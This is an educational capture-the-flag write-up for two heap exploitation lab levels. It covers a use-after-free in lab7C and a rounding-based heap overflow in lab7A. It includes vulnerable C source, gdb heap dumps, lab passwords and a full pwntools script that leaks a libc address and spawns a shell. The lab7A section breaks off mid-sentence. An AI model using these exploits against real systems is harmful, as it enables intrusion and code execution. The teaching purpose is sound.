After we have introduced ASLR and ways to bypass it in the last writeup, we will expand our exploits to the Heap in this lab.
In this lab there are only two levels:
–> lab7C
–> lab7A
lab7C
We can connect to the first level of this lib using the credentials lab7C with the password lab07start:
gameadmin@warzone:~$ sudo ssh lab7C@localhost [sudo] password for gameadmin: lab7C@localhost's password: (lab07start) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]----------------- Last login: Thu Jan 25 02:00:14 2018 from localhost
As usual we have access to the source code:
lab7C@warzone:/levels/lab07$ cat lab7C.c /* compiled with: gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab7C lab7C.c */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include "utils.h" #define MAX_STR 6 #define MAX_NUM 6 struct data { char reserved[8]; char buffer[20]; void (* print)(char *); }; struct number { unsigned int reserved[6]; // implement later void (* print)(unsigned int); unsigned int num; }; void small_str(char * a_str) { printf("here's your lame string: %s\n", a_str); } void big_str(char * a_str) { printf("nice big str yo: %s\n", a_str); } void small_num(unsigned int a_num) { printf("not 1337 enough: %u\n", a_num); } void big_num(unsigned int a_num) { printf("tite number dawg: %u\n", a_num); } void print_menu() { printf("-- UAF Playground Menu ----------------------\n" "1. Make a string\n" "2. Make a number\n" "3. Delete a string\n" "4. Delete a number\n" "5. Print a string\n" "6. Print a number\n" "7. Quit\n" "---------------------------------------------\n" "Enter Choice: "); } /* bugs galore... but no memory corruption! */ int main(int argc, char * argv[]) { struct data * strings[MAX_STR] = {0}; struct number * numbers[MAX_NUM] = {0}; struct data * tempstr = NULL; struct number * tempnum = NULL; int strcnt = 0; int numcnt = 0; unsigned int choice = 0; unsigned int index = 0; while(1) { print_menu(); /* get menu option */ if((choice = get_unum()) == EOF) break; /* make a string */ if(choice == 1) { if(strcnt < MAX_STR) { tempstr = malloc(sizeof(struct data)); /* no memory corruption this time */ printf("Input string to store: "); fgets(tempstr->buffer, 20, stdin); tempstr->buffer[strcspn(tempstr->buffer, "\n")] = 0; /* pick a print function */ tempstr->print = strlen(tempstr->buffer) > 10 ? big_str : small_str; /* store the string to our master list */ strings[++strcnt] = tempstr; printf("Created new string!\n"); } else printf("Please delete a string before trying to make another!\n"); } /* make a number */ else if(choice == 2) { if(numcnt < MAX_NUM) { tempnum = malloc(sizeof(struct number)); printf("Input number to store: "); tempnum->num = get_unum(); /* pick a print function */ tempnum->print = tempnum->num > 0x31337 ? big_num : small_num; /* store the number to our master list */ numbers[++numcnt] = tempnum; printf("Created new number!\n"); } else printf("Please delete a number before trying to make another!\n"); } /* delete a string */ else if(choice == 3) { if(strcnt && strings[strcnt]) { free(strings[strcnt--]); printf("Deleted most recent string!\n"); } else printf("There are no strings left to delete!\n"); } /* delete a number */ else if(choice == 4) { if(numcnt && numbers[numcnt]) { free(numbers[numcnt--]); printf("Deleted most recent number!\n"); } else printf("There are no numbers left to delete!\n"); } /* print a string */ else if(choice == 5) { printf("String index to print: "); index = get_unum(); if(index < MAX_STR && strings[index]) strings[index]->print(strings[index]->buffer); else printf("There is no string to print!\n"); } /* print a number */ else if(choice == 6) { printf("Number index to print: "); index = get_unum(); if(index < MAX_NUM && numbers[index]) numbers[index]->print(numbers[index]->num); else printf("There is no number to print!\n"); } /* quit */ else if(choice == 7) break; /* base case */ else printf("Invalid choice!\n"); index = 0; choice = 0; printf("\n"); } printf("See you tomorrow!\n"); return EXIT_SUCCESS; }
What does the program do?
–> The binary is compiled with the flags -pie -fPIE
(line 1), which means that even the memory segments of the binary itself (.text
, .plt
, .got
, …) are randomized.
–> There are two structs: data
(lines 11-15) and number
(lines 17-21). We will look at the details shortly.
–> Within the main
function (line 58) a menu is displayed by calling print_menu
(line 43) giving the following options:
– Making a string / number.
– Deleting a string / number.
– Printing a string / number.
– Quitting the program.
–> When 1. Make a string
is selected (line 79), memory is allocated for a struct data
using malloc
(line 83).
–> The member tempstr->buffer
is filled with user input by calling fgets
(line 87).
–> Depending on the size of the user input the member tempstr->print
is set to the function big_str
or small_str
(line 91).
–> At last the address of the newly created struct data
is stored in the array strings
(line 94).
–> When 3. Delete a string
is selected (line 123), the formerly allocated memory is freed by calling free
(line 127).
–> When 5. Print a string
is selected (line 147), the user can enter an index (line 150) which is used to call the print
member-function (line 153).
–> Basically the same is done for numbers using the struct number
.
Where is the vulnerability within the program?
The memory for the instances of both structs (data
and number
) is allocated using malloc
(line 83 and 106). malloc
returns a pointer to the newly allocated memory, which is stored in the pointer array strings
/ numbers
(line 94 and 115). When deleting a string or number, the previously allocated memory is released using free
(line 127 and 139). The one and only argument passed to free
is a pointer to a formerly allocated memory region. free
deallocates this memory region so that a subsequent call to malloc
can use this memory again. One important aspect to notice is that free
does not change the pointer being passed! This means that the pointer still refers to the now deallocated memory region. Such a pointer is called Dangling Pointer. On a subsequent call to malloc
the memory region the pointer is referring to is allocated again, but possibly not to hold the same type of object as before. If the dangling pointer is now used to read or modify the referred object, there might actually be another type of object within the allocated memory, leading to unintended behaviour. This kind of vulnerability is called Use After Free, because the dangling pointer is used to read or modify an object after the associated memory has been freed.
The vulnerability in this level could have been fixed easily by setting the pointer within the array strings
/ numbers
to NULL
after the call to free
. Because this has not been done, we can print an object even after it has been deleted:
lab7C@warzone:/levels/lab07$ ./lab7C -- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 1 Input string to store: AAAA Created new string! -- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 3 Deleted most recent string! -- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 5 String index to print: 1 here's your lame string: AAAA
As this is not so crucial, things are getting worse when we create a new number after we have deleted the string and then try to print the string:
... Enter Choice: 3 Deleted most recent string! -- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 2 Input number to store: 1337 Created new number! -- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 5 String index to print: 1 Segmentation fault (core dumped)
Segmentation fault
! Let’s have a look at the two structs data
and number
in order to think about how we can leverage this vulnerability:
The image shows both structs side by side. As we already figured out, a memory region deallocated by free
is reused by a subsequent call to malloc
, which means that the former object is overwritten with the new object. So why are we getting a segmentation fault when trying to print the string after it has been overwritten with the number
struct? We can figured out what caused the segmentation fault using gdb
:
lab7C@warzone:/levels/lab07$ gdb lab7C Reading symbols from lab7C...(no debugging symbols found)...done. gdb-peda$ r Starting program: /levels/lab07/lab7C -- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 1 Input string to store: AAAA Created new string! ... Enter Choice: 3 Deleted most recent string! ... Enter Choice: 2 Input number to store: 1337 Created new number! ... Enter Choice: 5 String index to print: 1 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x539 EBX: 0xb774af98 --> 0x2ea0 ECX: 0xb77168a4 --> 0x0 EDX: 0xb9359010 ("AAAA") ESI: 0x18 EDI: 0x0 EBP: 0xbfa58a88 --> 0x0 ESP: 0xbfa589fc --> 0xb7749071 (<main+812>: jmp 0xb77490fb <main+950>) EIP: 0x539 EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x539 [------------------------------------stack-------------------------------------] 0000| 0xbfa589fc --> 0xb7749071 (<main+812>: jmp 0xb77490fb <main+950>) 0004| 0xbfa58a00 --> 0xb9359010 ("AAAA") 0008| 0xbfa58a04 --> 0xb7749357 --> 0x7243000a ('\n') 0012| 0xbfa58a08 --> 0xb7715c20 --> 0xfbad2288 0016| 0xbfa58a0c --> 0x0 0020| 0xbfa58a10 --> 0x1 0024| 0xbfa58a14 --> 0x0 0028| 0xbfa58a18 --> 0xbfa58b24 --> 0xbfa598d4 ("/levels/lab07/lab7C") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000539 in ?? ()
The segmentation fault is caused by an invalid instruction pointer (eip
) which contains the value 0x539
= 1337
. This is the value we enter as the new number. What happened here?
At first the memory for the string is allocated, which is interpreted as a struct data
:
struct data * tempstr = NULL;
tempstr = malloc(sizeof(struct data));
Then the user string is stored within the struct and terminated with a null-byte. After this the print
member function is set to big_str
/ small_str
:
fgets(tempstr->buffer, 20, stdin); tempstr->buffer[strcspn(tempstr->buffer, "\n")] = 0;
tempstr->print = strlen(tempstr->buffer) > 10 ? big_str : small_str;
The pointer to the struct is stored in the array strings
:
strings[++strcnt] = tempstr;
At next we have chosen 3. Delete a string
, which deallocates the memory:
free(strings[strcnt--]);
As the pointer within strings
is not changed, it still references the deallocated memory.
After this we created a new number choosing 2. Make a number
. In this case malloc
is used to allocated memory for a struct number
:
struct number * tempnum = NULL;
tempnum = malloc(sizeof(struct number));
As shown in the image, the pointer within strings
still references the memory.
At next the user number is read and the appropriate print
member-function is set:
tempnum->num = get_unum();
tempnum->print = tempnum->num > 0x31337 ? big_num : small_num;
Finally we selected 5. Print a string
which tries to call the member-function print
on the struct data
:
strings[index]->print(strings[index]->buffer);
This causes the segmentation fault since print
does not contain the valid function pointer to small_str
anymore but the number we just entered.
How do we exploit this vulnerability? As we already figured out, the binary is compiled using the flags -pie -fPIE
, which means that we do not know even know an address of the binary itself during runtime. If we could leverage the vulnerability to leak a memory address, we could use this address as a reference to calculate the address of a function we would like to call. Since the libc is linked dynamically we can use the function system
as we did in lab5C (ret2libc):
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xb75ab190 <__libc_system>
Summing it up we have to:
(1) Leak a memory-address and calculate address of __libc_system
(2) Call __libc_system
passing the string "/bin/sh"
(1) leak memory-address
We basically have two possibilities to use our discovered Use After Free vulnerability:
–> We can treat a struct number
as a struct data
.
–> We can treat a struct data
as a struct number
.
The function-pointers within the structs are essential. The print
member-function of struct number
takes an unsigned integer argument which is being printed. The function is called passing the member variable num
:
numbers[index]->print(numbers[index]->num);
When we inspect both structs side by side again, we can see that num
within struct num
resides at the same offset as print
within struct data
:
We can leverage this by starting to create a number:
The member-function print
is now set to the address of small_num
.
We directly delete this number again and create a string. As input we enter "/bin/sh"
, which we will use later. You might already guess what we will use this for 😉
Now the memory is already set up to leak the address of small_str
! We just have to call print
on the dangling pointer to struct number
:
As you can see in the image, the member num
has been overwritten with the address of small_str
, which will be printed if we choose 6. Print a number
.
lab7C@warzone:/levels/lab07$ ./lab7C -- UAF Playground Menu ---------------------- 1. Make a string 2. Make a number 3. Delete a string 4. Delete a number 5. Print a string 6. Print a number 7. Quit --------------------------------------------- Enter Choice: 2 Input number to store: 1337 Created new number! ... Enter Choice: 4 Deleted most recent number! ... Enter Choice: 1 Input string to store: /bin/sh Created new string! ... Enter Choice: 6 Number index to print: 1 not 1337 enough: 3077868487
With the leaked memory address we can easily calculate the address of __libc_system
:
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xb75ab190 <__libc_system> gdb-peda$ p small_str $2 = {<text variable, no debug info>} 0xb7748bc7 <small_str> gdb-peda$ p small_str - system $3 = 0x19da37
Thus we have to subtract 0x19da37
from the leaked address of small_str
to get the address of __libc_system
.
(2) calling __libc_system
As we have the address of __libc_system
now, we just need to call it passing the string "/bin/sh"
as argument. Luckily we already stored "/bin/sh"
in the member variable buffer
. This means that we just have to put the address of __libc_system
in the right place. We do this by deleting the previously create string again and create a number entering the address of __libc_system
:
The only thing left to do is to call the print
function of struct data
using the dangling pointer:
The function __libc_system
gets called passing the member variable buffer
, which contains the string "/bin/sh"
.
The following python-script does all this steps and calculates the address of __libc_system
:
lab7C@warzone:/levels/lab07$ cat /tmp/exploit_lab7C.py from pwn import * p = process("./lab7C") # ******************************************************* # step 1: leak memory-address p.recvuntil("Enter Choice: ") p.sendline("2") # 2. Make a number p.sendline("1337") # --> 1337 p.recvuntil("Enter Choice: ") p.sendline("4") # 4. Delete a number p.recvuntil("Enter Choice: ") p.sendline("1") # 1. Make a string p.sendline("/bin/sh") # --> "/bin/sh" p.recvuntil("Enter Choice: ") p.sendline("6") # 6. Print a number p.sendline("1") # --> index = 1 # --> output contains address of small_str ret = p.recvuntil("Enter Choice: ") addr_small_str = int(ret[ret.index("enough: ")+8:ret.index("\n")], 10) log.info("addr_small_str: " + hex(addr_small_str)) # --> calculate actutal address of system addr_system = addr_small_str - 0x19da37 # ******************************************************* # step 2: call system("/bin/sh") p.sendline("3") # 3. Delete a string p.recvuntil("Enter Choice: ") p.sendline("2") # 2. Make a number p.sendline(str(addr_system)) # --> address of system p.recvuntil("Enter Choice: ") p.sendline("5") # 5. Print a string p.sendline("1") # --> index = 1 p.recv(100) p.interactive()
Running the script:
lab7C@warzone:/levels/lab07$ python /tmp/exploit_lab7C.py [+] Starting program './lab7C': Done [*] addr_small_str: 0xb7710bc7 [*] Switching to interactive mode $ whoami lab7A $ cat /home/lab7A/.pass us3_4ft3r_fr33s_4re_s1ck
Done 🙂 The password for level A is us3_4ft3r_fr33s_4re_s1ck
.
lab7A
We can connect to the level using the previously achieved credentials lab7A with the password us3_4ft3r_fr33s_4re_s1ck:
gameadmin@warzone:~$ sudo ssh lab7A@localhost [sudo] password for gameadmin: lab7A@localhost's password: (us3_4ft3r_fr33s_4re_s1ck) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]----------------- Last login: Mon Jan 22 05:48:49 2018 from localhost
Let’s have a look at the source code:
lab7A@warzone:/levels/lab07$ cat lab7A.c /* compiled with: gcc -static -z relro -z now -fstack-protector-all -o lab7A lab7A.c */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <time.h> #include "utils.h" ENABLE_TIMEOUT(60) #define MAX_MSG 10 #define MAX_BLOCKS 32 #define BLOCK_SIZE 4 struct msg { void (* print_msg)(struct msg *); unsigned int xor_pad[MAX_BLOCKS]; unsigned int message[MAX_BLOCKS]; unsigned int msg_len; }; struct msg * messages[MAX_MSG]; /* apply one time pad */ void encdec_message(unsigned int * message, unsigned int * xor_pad) { int i = 0; for(i = 0; i < MAX_BLOCKS; i++) message[i] ^= xor_pad[i]; } /* print information about the given message */ void print_message(struct msg * to_print) { unsigned int i = 0; char * xor_pad; char * message; xor_pad = (char *)&to_print->xor_pad; message = (char *)&to_print->message; /* print the message's xor pad */ printf("\nXOR Pad: \n" "-----------------------------------------\n"); for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++) { printf("%02x", xor_pad[i] & 0xFF); if(i % 32 == 31) puts(""); } /* print encrypted message */ printf("\nEncrypted Message: \n" "-----------------------------------------\n"); for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++) { printf("%02x", message[i] & 0xFF); if(i % 32 == 31) puts(""); } puts(""); } /* creates a message */ int create_message() { int i, j; struct msg * new_msg = NULL; /* find a free message slot */ for(i = 0; i < MAX_MSG; i++) if(messages[i] == NULL) break; /* make sure we actually found an empty slot */ if(messages[i]) { printf("-No message slots left!\n"); return 1; } printf("-Using message slot #%u\n", i); /* initialize new message */ new_msg = malloc(sizeof(struct msg)); memset(new_msg, 0, sizeof(struct msg)); new_msg->print_msg = &print_message; for(j = 0; j < MAX_BLOCKS; j++) new_msg->xor_pad[j] = rand(); /* get the length of data the user intends to encrypt */ printf("-Enter data length: "); new_msg->msg_len = get_unum(); if(new_msg->msg_len == 0) { printf("-Message length must be greater than zero!\n"); free(new_msg); return 1; } /* make sure the message length is no bigger than the xor pad */ if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS) new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS; /* read in the message to encrypt with the xor pad */ printf("-Enter data to encrypt: "); read(0, &new_msg->message, new_msg->msg_len); /* encrypt message */ encdec_message(new_msg->message, new_msg->xor_pad); /* save the new message to the global list */ messages[i] = new_msg; return 0; } int edit_message() { char numbuf[32]; unsigned int i = 0; /* get message index to destroy */ printf("-Input message index to edit: "); fgets(numbuf, sizeof(numbuf), stdin); i = strtoul(numbuf, NULL, 10); if(i >= MAX_MSG || messages[i] == NULL) { printf("-Invalid message index!\n"); return 1; } printf("-Input new message to encrypt: "); /* clear old message, and read in a new one */ memset(&messages[i]->message, 0, BLOCK_SIZE * MAX_BLOCKS); read(0, &messages[i]->message, messages[i]->msg_len); /* encrypt message */ encdec_message(messages[i]->message, messages[i]->xor_pad); return 0; } /* free a secure message */ int destroy_message() { char numbuf[32]; unsigned int i = 0; /* get message index to destroy */ printf("-Input message index to destroy: "); fgets(numbuf, sizeof(numbuf), stdin); i = strtoul(numbuf, NULL, 10); if(i >= MAX_MSG || messages[i] == NULL) { printf("-Invalid message index!\n"); return 1; } /* destroy message */ memset(messages[i], 0, sizeof(struct msg)); free(messages[i]); messages[i] = NULL; return 0; } /* print a message at a select index */ int print_index() { char numbuf[32]; unsigned int i = 0; /* get message index to print */ printf("-Input message index to print: "); fgets(numbuf, sizeof(numbuf), stdin); i = strtoul(numbuf, NULL, 10); if(i >= MAX_MSG || messages[i] == NULL) { printf("-Invalid message index!\n"); return 1; } /* print the message of interest */ messages[i]->print_msg(messages[i]); return 0; } /* the vulnerability is in here */ void print_menu() { printf("+---------------------------------------+\n" "| Doom's OTP Service v1.0 |\n" "+---------------------------------------+\n" "|------------ Services Menu ------------|\n" "|---------------------------------------|\n" "| 1. Create secure message |\n" "| 2. Edit secure message |\n" "| 3. Destroy secure message |\n" "| 4. Print message details |\n" "| 5. Quit |\n" "+---------------------------------------+\n"); } int main() { int choice = 0; srand(time(NULL)); disable_buffering(stdout); while(1) { print_menu(); /* get menu option */ printf("Enter Choice: "); choice = get_unum(); printf("-----------------------------------------\n"); /* handle menu selection */ if(choice == 1) { if(create_message()) printf("-Failed to create message!\n"); else printf("-Message created successfully!\n"); } else if(choice == 2) { if(edit_message()) printf("-Failed to edit message!\n"); else printf("-Message has been successfully modified!\n"); } else if(choice == 3) { if(destroy_message()) printf("-Failed to destroy message!\n"); else printf("-Message destroyed!\n"); } else if(choice == 4) { if(print_index()) printf("-Failed to print message!\n"); } else if(choice == 5) { break; // exit } else printf("-Invalid choice!\n"); choice = 0; puts(""); } printf("See you tomorrow!\n"); return EXIT_SUCCESS; }
What does the program do?
–> The binary is compiled with the flag -static
(line 1). This means that the binary has all required functions built in.
–> A struct named msg
is defined (lines 16-21) which contains a function-pointer (print_msg
), two unsigned integer arrays (xor_pad
and message
) and a single unsigned integer member (msg_len
).
–> There is a global array (messages
) defined to contain pointers to struct msg
instances (line 23).
–> Within the main
function (line 217) a menu is displayed by calling print_menu
(line 202) giving the following options:
– Creating / Editing / Destroying secure message.
– Printing message details.
– Quitting the program.
–> When 1. Create secure message
is selected, the function create_message
is called (line 236).
– create_message
(line 69) searches for an empty slot in messages
and allocates memory for a new message (line 89).
– The member-function print_msg
is set to the address of the function print_message
(line 91).
– The array new_msg->xor_pad
is initialized with random values (lines 93-94).
– new_msg->msg_len
is set by reading a value from the user (line 99).
– If new_msg->msg_len
is too big, it is set to the maximum amount of bytes which can be stored in new_msg->message
(lines 109-110).
– The function read
is used to read a user input from stdin
to new_msg->message
(line 114).
– This messages is encrypted by calling encdec_message
(line 117).
– At last the address of the newly created object new_msg
is stored in the global array messages
(line 120).
–> When selecting 2. Edit secure message
, the function edit_message
is called (line 243).
– edit_message
(line 125) reads an index, zeroes out the message
member variable and reads in a maximum amount of msg_len
bytes as a new message (lines 132, 144-145).
– At last the new message is again encrypted using encdec_message
(line 148).
–> By choosing 3. Destroy secure message
the function destroy_message
is called (line 250).
– destroy_message
(line 154) also reads an index and zeros out the message
member variable (lines 161, 171).
– After this the memory for the struct msg
is deallocated using free
(line 172).
– The struct pointer within the global array messages
is then set to NULL
(line 173).
–> When 4. Print message details
is selected, the function print_index
is called (line 257).
– print_index
(line 179) yet again reads an index (line 186).
– If the index is valid, the print_msg
member-function is called passing the whole struct (line 196).
– As the print_msg
member-function is initialized with print_message
, this function gets called.
– print_message
(line 34) prints the XOR pad and the encrypted message.
–> 5. Quit
breaks out of the loop (line 262) und thus quits the program.
There is also an additional readme file stating that this is a remote challenge much like in lab6B:
lab7A@warzone:/levels/lab07$ cat lab7A.readme lab7A is a remote level much like lab6B. It is running on port 7741. nc wargame.server.example 7741 -vvv
Where is the vulnerability within the program?
This question took me a time. While it has been very easy to spot the vulnerabilities in the first labs, it was quite hard to discover the vulnerability within the code above. After trying around a little bit with the program, I figured out that when choosing a msg_len
so that 128 < msg_len < 132
the value will not be reset to the maximum amount of 128
. The following lines of code are causing this behaviour:
if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS) new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;
msg_len
is an unsigned integer and the macro BLOCK_SIZE
is also an integer (4
). This means that the division within the if-statement is in whole numbers:
>>> 127/4 31 >>> 128/4 32 >>> 129/4 32 >>> 130/4 32 >>> 131/4 32 >>> 132/4 33
As the remains are not taken into account, the if-condition evaluates to true
only when msg_len
is bigger than 131
. This means that we can overflow the member variable message
by 3 bytes! And what resides within the memory after message
? Exactly! msg_len
. Thus we can set msg_len
do an even bigger number and than use edit_message
to overflow message
by a lot of more bytes than just 3 possibly overwriting the next chunk on the heap.
Fortunately the binary is not compiled as position independent code. Thus we know the address of the global array messages
which holds the heap pointers:
[0x08048d2a]> is~messages vaddr=0x080eef60 paddr=0x000a6f60 ord=1841 fwd=NONE sz=40 bind=GLOBAL type=OBJECT name=messages
Now let’s try to overflow message
inspecting the heap using gdb
:
lab7A@warzone:/levels/lab07$ gdb ./lab7A Reading symbols from ./lab7A...(no debugging symbols found)...done. gdb-peda$ r Starting program: /levels/lab07/lab7A +---------------------------------------+ | Doom's OTP Service v1.0 | +---------------------------------------+ |------------ Services Menu ------------| |---------------------------------------| | 1. Create secure message | | 2. Edit secure message | | 3. Destroy secure message | | 4. Print message details | | 5. Quit | +---------------------------------------+ Enter Choice: 1 ----------------------------------------- -Using message slot #0 -Enter data length: 131 -Enter data to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -Message created successfully! +---------------------------------------+ | Doom's OTP Service v1.0 | +---------------------------------------+ |------------ Services Menu ------------| |---------------------------------------| | 1. Create secure message | | 2. Edit secure message | | 3. Destroy secure message | | 4. Print message details | | 5. Quit | +---------------------------------------+ Enter Choice: ^C Program received signal SIGINT, Interrupt. ... gdb-peda$ x/x 0x080eef60 0x80eef60 <messages>: 0x080f19d8 gdb-peda$ x/80xw 0x080f19d8-8 0x80f19d0: 0x00000000 0x00000111 0x08048fd3 0x078d572f 0x80f19e0: 0x137db5d1 0x7d14f569 0x2f24ff9b 0x1d0207b8 0x80f19f0: 0x497bca52 0x29524eb3 0x767ac622 0x14af9260 0x80f1a00: 0x0bd24bc5 0x3a9a828a 0x567926e0 0x160526ae 0x80f1a10: 0x1ddc5410 0x39638154 0x24d7bcfe 0x5597d31d 0x80f1a20: 0x2a9eb757 0x1dd2bbce 0x6636ac89 0x69aaaaca 0x80f1a30: 0x758f3b73 0x3599619f 0x530282ba 0x6e053b1c 0x80f1a40: 0x2d114a84 0x3e14113b 0x0f1f7049 0x0284b841 0x80f1a50: 0x301050fe 0x747b4935 0x0a120f71 0x46cc166e 0x80f1a60: 0x523cf490 0x3c55b428 0x6e65beda 0x5c4346f9 0x80f1a70: 0x083a8b13 0x68130ff2 0x373b8763 0x55eed321 0x80f1a80: 0x4a930a84 0x7bdbc3cb 0x173867a1 0x574467ef 0x80f1a90: 0x5c9d1551 0x7822c015 0x6596fdbf 0x14d6925c 0x80f1aa0: 0x6bdff616 0x5c93fa8f 0x2777edc8 0x28ebeb8b 0x80f1ab0: 0x34ce7a32 0x74d820de 0x1243c3fb 0x2f447a5d 0x80f1ac0: 0x6c500bc5 0x7f55507a 0x4e5e3108 0x43c5f900 0x80f1ad0: 0x715111bf 0x353a0874 0x4b534e30 0x000a4141 0x80f1ae0: 0x00000000 0x00020521 0x00000000 0x00000000 0x80f1af0: 0x00000000 0x00000000 0x00000000 0x00000000 0x80f1b00: 0x00000000 0x00000000 0x00000000 0x00000000
I created a new message using the length 131 and entered 130 * “A” (+ a newline character). At the address 0x080eef60
(messages
) the first heap pointer is stored: 0x080f19d8
. I printed the memory beginning at 0x080f19d8-8
because the heap chunks begins 8 bytes before the memory where the actual data is stored:
The first 4 bytes of the heap chunk contain the size of the previous chunk. The next 4 bytes contain the size of the chunk itself. Because of byte alignment the three least significant bits would always be zero and are used for flags:
–> 0x04: The memory belongs to a thread arena.
–> 0x02: The memory was allocated with the function mmap
.
–> 0x01: The previous chunk is in use.
The chunk right after our chunk beginning at 0x80f1ae0
is the top of the heap also called the wilderness. The value 0x00020521
indicates that there are 0x20520 = 132384 bytes left for further allocations.
As we can see within the data of our chunk, we have successfully overwritten msg_len
with the value 0x000a4141
:
... 0x80f1ad0: 0x715111bf 0x353a0874 0x4b534e30 0x000a4141 ...
This means that we can use edit_message
to overflow message
by 0xa4141 - 128 = 671937
bytes. Of course we could set msg_len
to an even bigger value, but this suffices to overwrite the next chunk on the heap.
At first let’s create another message generating a second chunk on the heap after the one we already created:
gdb-peda$ c Continuing. 1 ----------------------------------------- -Using message slot #1 -Enter data length: 4 -Enter data to encrypt: AAA -Message created successfully! +---------------------------------------+ | Doom's OTP Service v1.0 | +---------------------------------------+ |------------ Services Menu ------------| |---------------------------------------| | 1. Create secure message | | 2. Edit secure message | | 3. Destroy secure message | | 4. Print message details | | 5. Quit | +---------------------------------------+ Enter Choice: ^C Program received signal SIGINT, Interrupt. ... gdb-peda$ x/80xw 0x080f19d8-8 0x80f19d0: 0x00000000 0x00000111 0x08048fd3 0x078d572f 0x80f19e0: 0x137db5d1 0x7d14f569 0x2f24ff9b 0x1d0207b8 ... 0x80f1ad0: 0x715111bf 0x353a0874 0x4b534e30 0x000a4141 0x80f1ae0: 0x00000000 0x00000111 0x08048fd3 0x1fcab7ac 0x80f1af0: 0x13c8adcd 0x59269ff2 0x5ad6c09d 0x76520b8c 0x80f1b00: 0x3031749d 0x2a925bee 0x64adb511 0x41d6cbd2
The second messages has been stored in the chunk beginning at address 0x80f1ad0
. The first 4 bytes within the actual data contains the value 0x08048fd3
. This is the member-function print_msg
which has been set to print_message
.
As the msg_len
of our first message is big enough, we can now use the edit_message
function to overwrite the second heap chunk:
gdb-peda$ c Continuing. 2 ----------------------------------------- -Input message index to edit: 0 -Input new message to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEE -Message has been successfully modified! +---------------------------------------+ | Doom's OTP Service v1.0 | +---------------------------------------+ |------------ Services Menu ------------| |---------------------------------------| | 1. Create secure message | | 2. Edit secure message | | 3. Destroy secure message | | 4. Print message details | | 5. Quit | +---------------------------------------+ Enter Choice: ^C Program received signal SIGINT, Interrupt. ... gdb-peda$ x/80xw 0x080f19d8-8 0x80f19d0: 0x00000000 0x00000111 0x08048fd3 0x078d572f 0x80f19e0: 0x137db5d1 0x7d14f569 0x2f24ff9b 0x1d0207b8 ... 0x80f1ac0: 0x6c500bc5 0x7f55507a 0x4e5e3108 0x43c5f900 0x80f1ad0: 0x715111bf 0x353a0874 0x4b534e30 0x42424242 0x80f1ae0: 0x43434343 0x44444444 0x45454545 0x1fcab70a 0x80f1af0: 0x13c8adcd 0x59269ff2 0x5ad6c09d 0x76520b8c 0x80f1b00: 0x3031749d 0x2a925bee 0x64adb511 0x41d6cbd2
For the new message I entered "A" * 128 + "BBBBCCCCDDDDEEEE"
. As you can see in the heap output, 0x42424242
("BBBB"
) overwrote the member variable msg_len
of the first chunk. 0x43434343
("CCCC"
) and 0x44444444
("DDDD"
) overwrote the heap meta-data of the second chunk messing up this chunk. Nevertheless the value 0x45454545
